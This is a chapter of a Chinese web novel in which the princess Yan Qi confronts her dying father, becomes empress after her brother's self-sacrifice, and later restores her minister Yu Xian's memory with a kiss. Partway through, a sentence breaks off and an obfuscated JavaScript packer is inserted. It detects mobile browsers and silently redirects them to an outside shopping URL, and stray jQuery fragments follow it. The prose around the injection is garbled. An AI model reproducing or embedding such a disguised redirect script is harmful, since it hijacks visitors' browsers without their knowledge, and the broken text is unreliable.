117. 浮屠一梦(十四)

作品:《无瑰

    二皇子的罪状很快下来。


    这么一出后,皇帝的病居然好了些许,能下床走路,还能听政。


    此事平息的第三天,颜绮被皇帝召见。


    皇帝病重,长公主去见他不能过于隆重,所幸白色内衬外披紫色罩衫便出门来见。


    皇帝寝宫经过那么一遭,内外开始翻修,守卫加强了三倍不止。


    颜绮不带侍女,虞闲也不在,独自一人就进来。


    她来时,宫人还在两三聚集,合力修葺宫殿。


    有没注意到长公主到来的,还言论起三皇子即将继位之事,在他们看来,皇帝身体坏了那么多年,突然好了,可不就是回光返照么?


    他们嘻嘻笑笑,谈起三皇子又说他在平乱后被苏醒的皇帝单独召见,刚才还往牢房去了,估计是按皇帝命令去传圣旨判罚二皇子了。


    颜绮在宫墙下驻足片刻,敛眸思索,而后大踏步进了寝宫。


    皇帝今早上完朝,回到寝宫又倒下了,太医隐晦的说怕是时日无多。


    他这个时候来找颜绮,是何居心,颜绮心中早有所定夺。


    一切都在意料之中。


    她走入殿内的那一刻,守卫的士兵一股脑退出去,顺带把门关上。


    皇帝笔直躺在床上,闭着眼睛没动。


    等颜绮靠近,他才呼出一口浑浊的气,沙哑着声音:“你来了。”


    长公主恭恭敬敬下跪行礼:“父皇。”


    皇帝头稍稍往外偏,困在褶皱中的眼睁开一条缝,端详颜绮:“朕知道你想要什么,朕不可能传位给你,你为黎国付出良多,安安心心做你的长公主不好么?”


    他已经忘记是从什么时候开始发现这个女儿的勃勃野心,只是他们不和也好多年了,久得他都快忘了,他曾经也是宠爱过这个女儿的。


    颜绮早有所料,冷哼一声,讥讽出声:“我知道,您是多怕我压在那几个皇子头上啊?不顾一切都要杀我,我做的难道比他们差么?”


    皇帝沉着声线,身体完全不能动了,浑浊的眸注视天花板:“你既然知道,就不应该回来。”


    他知道颜绮所说为何。


    这个女儿很小的时候爱哭,受尽宠爱,后来在他日复一日的猜忌中,练会了武功,竟然和从小就被培养的曲咏将军平分秋色。


    那些惊心动魄的刺杀毒害没有让她后退一步,反而让她变得越来越高不可攀。


    他这个女儿就和国师所说的那般——天之骄子。


    她越来越不可控,他也越来越老了。


    皇位继承人必须有个着落了。


    大皇子被颜绮以生母性命相逼造反,二皇子计不如她,三皇子也是个傻的,忠心耿耿。


    他曾经也想过给颜绮赐婚,让她断了继承皇位的念头,可是国师和曲咏接二连三的求情,京城中也没有人愿意入赘给长公主。


    换句话说,没有人配得上长公主。


    颜绮面上平静,手指悄然攥紧身侧的衣物,皱巴巴团在手心,她一双紫眸冷冽,看老皇帝再也没有了之前的敬重,她缓缓道:“您为了阻止我,可还真是煞费苦心。”


    “两年前把我调离进城,好不容易回京,您又和二皇子一起派人刺杀,就为了让我死在回京的路上,二皇子造反那日,您早就算好了,不让禁军帮我,就是想逼我交出虎符,要是虎符不在我身上,我就死在二皇子手里,怎么样您都不亏,对么。”


    “我不理解,您为何就那么恨我呢?就因为我是一介女子,挑不起你口中的大梁么?”


    颜绮盯着皇帝空洞的黑眸,一身黄袍披在他枯槁的身体上,就像一株即将枯萎的树木。


    她看着他脸上的每一个表情,仿佛想看出什么。


    “可是我是国师口中预言的天骄,我是你膝下那些男儿都比不上的存在,我同样通读诗书,六艺精通,甚至上过战场,为我国疆土挡下不少外敌,手上是你那些看好儿郎都不曾沾染的鲜血。”


    “我这般,还是不能如你的愿,还是不值一提么?”


    皇帝闭上双眼,逃避似的沉默许久,还是开口道:“这太荒诞,朕决意将皇位给小三,你想做皇帝,问问你的弟弟同不同意吧。”


    他找到一个理由,他赌颜绮再怎么狠也不对对这个一母同胎的弟弟下手。


    颜绮死死抓住衣角,心里一股怒火熊熊燃烧,要把她焚烧成灰烬。


    她冷漠的看了皇帝好一会儿,忽然笑了,笑得薄情寡义,笑得皇帝出了一身鸡皮疙瘩。


    “圣上,您这是在逼儿臣篡位啊。”


    她不再跪着,直直从地上起来,虽不着华服,可养尊处优来的气势犹如骇浪,见人便压一头。


    紫色凤眸瞧老皇帝,看死人般寒凉。


    她早就料想过的,老皇帝不可能让她继位,她也无法下手杀了亲弟弟,只有谋权篡位,多可笑,他膝下不过四个孩子,每一个都只想篡位。


    她很早就盗取虎符,假借寺庙祈福,转交到虞闲手上,所有人误以为它是假的,实际上它就是真的。


    后来也是利用这块虎符,才成功策反虞家私兵。


    这样一张底牌,就这般被皇帝收回去,还一点甜头都不给。


    长鞭已经在腰间抽出,她步步紧逼。


    皇帝喉咙像被遏制,徒劳瞪着眼睛,一句话也说不出来。


    就在她要动手的那一刻,有人不顾一切闯了进来。


    银白的光芒一闪,扎在颜绮手上,长鞭落地,她的手却是完好无损。


    撩起眼皮,懒散傲慢看去,是虞闲。


    此刻她的心情并不好,望着一步一步踏入寝宫的虞闲,风雪飞舞帷幕,扬起他散落的长发。


    “你来做什么?”


    语气也是冷冰冰的。


    虞闲喘着粗气,风尘仆仆赶过来,满头的汗水,他小跑过来,颜绮很少在他脸上看到这种情绪,着急的像天塌了。


    “三皇子去牢房,宣读圣旨途中,二皇子将之杀害,太医赶过去时,已经断气了。”


    “什么?”颜绮一愣,被这个消息当头一棒,砸得晕头转向,一时间居然难以理解这话中的意思。


    二皇子怎么可能蠢到去杀三皇子,皇帝也没有把他处死,只是同大皇子一样贬为庶民。


    不是二皇子动的手,那只能是……三皇子自己寻死。


    他用命给颜绮铺路。


    听到这个消息,最受打击的人是皇帝,他原本还硬起来和颜绮作对的身体瞬间软倒,泄气平摊在龙床上,褶皱里的眼睛无神盯着天花板片刻,无力闭上。


    颜绮立马抓住虞闲的手,摸到一手血:“那二皇子呢?二皇子怎么样?”


    虞闲顿了一下,摇头表示不知。


    其实他是从虞家收到消息马不停蹄就赶过来,生怕颜绮手快做出什么不可挽回的事。


    消息是刚不久收到的,也还好是颜绮之前允了他入宫见她不必层层通报,他才能那么快追来。


    三皇子或许想到如今局面,特意去牢房找二皇子同归于尽,同时还叫人给他发消息,颜绮在皇宫里手眼通天,他想提前瞒点什么,很快就被发现,不如叫虞闲来,把时机卡好,就恰好在他死的时候,颜绮得到消息。


    三皇子有赌的成分,但是这是他能想出来,让长姐如愿的法子。


    “狗皇帝。”颜绮咬牙切齿,捡起鞭子冲着皇帝过去,“你对他说了什么?”


    三皇子也只是知道她想要掌权,别的都不知道,一直活在她创建的摇篮里生活的好好的。


    定是皇帝说了什么事,叫三皇子用这种不管不顾的法子自刎。


    皇帝失去所有力气,咳嗽几声,呕吐好几口黑血,那是常年中毒淤积的。


    颜绮是真的急眼,虞闲用干净的手去拉她,摩挲掌心安抚。


    事已至此,皇帝没什么好隐瞒的了:“我和他说,我提前写了立他为太子的圣旨,他想让你做太子,除非你篡位,不然绝无可能,可是你一旦篡位,必遭天下人诟病。”


    唯一的办法就是,皇帝只剩下颜绮一个继承人,只能传位给她,名正言顺的传位给她。


    三皇子居然真的愿意牺牲自己,这是老皇帝万万没想到的。


    三日后老皇帝驾崩,二皇子和三皇子同归于尽。


    老皇帝死前留下最后一道圣旨,封长公主为太子,不日继承皇位,举世皆惊。


    群臣违抗,此时国师从昏迷中苏醒,道出预言中唯长公主成皇才能带领黎国一统天下,而后虞家首当其冲,拥护颜绮女帝,先丞相一党也开始支持,颜绮长公主成功登基。


    同年,国师和曲咏将军合葬。


    覃国听闻黎国女帝登基,再次派兵攻打,颜绮御驾亲征,以摧枯拉朽的姿态合并覃国,天下一统。


    深夜,颜绮做完政事,回宫歇息,小桃从边关回来,为她掌灯。


    皇帝寝宫自从先帝离去后就再也没修葺过,转眼过去,也三年了。


    大臣一直进谏,劝说颜绮娶妃,她老是搪塞过去,朝中大臣大多数已有不满。


    颜绮走在湿漉的青石板上,大黄色龙袍拖曳,高贵且不易近人。


    小桃走在她身侧,宫灯上画两锦鲤,在柔和的火光下栩栩如生,红色宫墙一望无际,蜿蜒的灯火延绵至夜色深处。


    募地,出现一点暖光。


    小桃瞧了一眼便笑着退下,本要把灯递给颜绮,被后者摆手拒绝,还来一个优越的挑眉,像在说有人来接我。


    小桃恭敬行礼。微笑后退,很快隐没在错落的宫殿中。


    前方的火光逼近,似有人看见什么急色小跑过来,颜绮干脆就站在原地不动了。


    直到面前之人完全露出真面目,晃荡的微光给他高挺的鼻梁投下一道轮廓,看上去像半张脸埋进黑暗,但又在冥冥之中显得他的脸更加温润。


    “陛下,你怎么一个人?小桃呢?”平日里都是小桃送颜绮回来的,今天只有颜绮一个人,虞闲难免奇怪。


    颜绮一扬眉,绕过虞闲颇有帝王威严走在前面,冷哼一声:“丞相大人是来接小桃的?”


    三年时间,已经叫虞闲从一个八品小官做到丞相,其中虽有颜绮的扶持,但朝中对他的能力也是极为认可。


    丞相大人顿了一下,登时笑出声,低声下气的讨好道:“臣来接陛下的。”


    闲谈回到寝宫,颜绮不喜吵闹,加上本身武功高强,少有人能近身,于是只派了几个小兵看守。


    没有侍女,因为有时候颜绮会在御书房通宵处理事情,干脆不叫人点灯了。


    何况点灯这事早就有人代劳了。


    京城新上任的丞相大人,三天两头就留宿皇宫,皇帝寝宫就算无人归来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400927|178165||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    也是灯火通明,次次都是丞相大人亲手点燃的。


    丞相大人和皇帝之间,说情谊深厚吧,他们除了早朝或是召见,就没有单独会面过,也许是颜绮处理这几年的事过于忙碌,带兵出征和吞并覃国,耗费太多气力。


    要说关系不好,那也不见得,毕竟丞相大人夜夜都要给皇帝的寝宫点上火,所有灯盏安静燃烧,许在等人回来。


    他们之间微妙的关系没有人敢提,皇帝听了会冷哼一声,会心思的给人下马威。


    丞相大人虽然只会一笑了之,但皇帝知道了又是一个下马威。


    也不是没有大臣想过让颜绮把丞相收入宫中……


    回头一看,颜绮一脸不好惹,虞闲一脸温和,丞相大人会被这位女帝玩死在床上吧。


    于是再也没人提起丞相和皇帝之间的关系。


    他们不知道,丞相在成为丞相之前,就是长公主的面首,过去太久,朝中更迭换代,早就忘了。


    刘点主动退掉了和虞闲的婚事,跑去边关继承曲咏将军的衣钵,守卫边疆去了。


    据说还同另一位赫赫有名的大将喜成连理。


    颜绮眼下一片青紫,待在虞闲身边总是很安心,她硬生生挺起的身子气力一松,走路差点东倒西歪,软得像一滩泥。


    虞闲只好伸手叫她扶着。


    可是扶着也没用,她已经两天没睡了,户部和礼部吵起来,关于礼制上的用度。


    虞闲注视她片刻,无奈一叹气,宫灯往墙上挂钩一搁,横打把人抱起,颜绮等他这样许久似的,一被抱起就揽住虞闲脖子。


    颜绮嫌弃冗长的龙袍,利索一脱,外袍便落在地上,铺了一层金黄。


    虞闲呼出一口气,还好已经到了寝宫内,没多少人。


    他一手托住颜绮,一手拿起宫灯往前走。


    他今夜来得晚了些,灯还没点,把人安置在龙榻上,拿火折子先点亮龙榻前的树立的两盏九枝灯。


    光芒一点点流淌,不但点亮半个宫殿,也点亮虞闲身上鲜明的色彩。


    长公主时期她不容拒绝要求过虞闲见她着红色,后来虞闲只着红色。


    其实颜绮不是喜欢看他穿红色,是喜欢看他着嫁衣。


    虞闲吹灭火折子,放好,回头一望,颜绮惺忪着眸盯着他看,一秒后招手。


    虞闲顺从过去,半蹲下来,与颜绮平视,潋滟温柔的紫色桃花眸凝视颜绮,等她说话。


    颜绮平静看了他许久,迷迷糊糊开声:“你凑近点。”


    视线模糊,她不大能看清虞闲。


    虞闲闻言听话把脸抵过去,旋即,颜绮抬头蜻蜓点水地碰了碰虞闲的唇。


    后者眸光闪动,克制地撩起眼帘,手按在龙榻两边扣着,“这也是奖励么?”


    颜绮抱住他的脑袋,两个人面面相对,眸中是对方放大的脸庞,吐息扑面,心脏跳动。


    小指骨又开始痒了。


    有时候颜绮真的好奇,虞闲什么时候才能恢复记忆,每次都是这样想靠近又远离的模样,亲都不能好好亲。


    三年前随口的一句话,这厮怎么能记那么久?


    这里的事差不多结束了,外面还有人在等,在这个地方拖下去也不是事,只能强行唤醒虞闲记忆,好一起出去。


    于是她捧起虞闲的脸,半撑起身体,向来冷冽的紫眸柔和下来,温情似水,风情万千勾引着虞闲把所有目光落到自己身上。


    “不是奖励,”一只手牵引着虞闲逐渐温暖的掌心覆上心脏的位置,狂跳的温度烫红了虞闲的脸,一路蔓延到耳尖脖子,“你喜欢我,也配得上我。”


    关于虞闲,她知道也了解,这几年那么唯唯诺诺畏畏缩缩不过是觉得,他寒门出身的身份配不上身为皇室的她。


    是浮萍在仰望参天大树。


    这个傻的,知不知道啊——颜绮一字一顿,认真看着他的眼,“我也喜欢你。”


    神骨一念发烫,连接在两个人的小指骨上。


    虞闲怔愣眨眼,鲜红在他身上愈发明显,大脑一时间没反应过来。


    悬在寝宫外的逐春陡然震鸣,带着红色剑穗一摇一晃,瞬间点燃寝宫所有火光。


    有什么在他心里慢慢复苏。


    颜绮深情不渝,又道:“说奖励是骗你的,只是我想吻你,我也不对别人这样,只亲过你,你对我的那些小心思我都知道,你藏的不好,爱得太明显。”


    她每说一句话,手腕上显现的红线就伸出去一分,随着她话音落下,结结实实扎在虞闲手腕上。


    这是颜绮的神骨一念。


    她曾经说过要送给虞闲的礼物,就是她的神骨一念。


    可惜还没送出去,那人就先离开了。


    双线双神骨一念连接,光芒大盛,属于颜绮的记忆涌入虞闲脑海里。


    那些关于他们的点点滴滴,缓缓在大脑里浮现。


    恢复记忆不是一个痛苦的过程,相反,是一个很迷茫的,混沌的过程。


    虞闲的眼神慢慢的,从失神到清明。


    他迟钝地看过来,再也看不出他眸子深处的怯懦卑微。


    他抿了抿干涸的唇,出声:“颜绮。”


    顿了一下笑了起来:“阿瑰。”


    颜绮睨他一眼,旋即阖眸应声,吻过去。


    他们接了一个绵长的吻。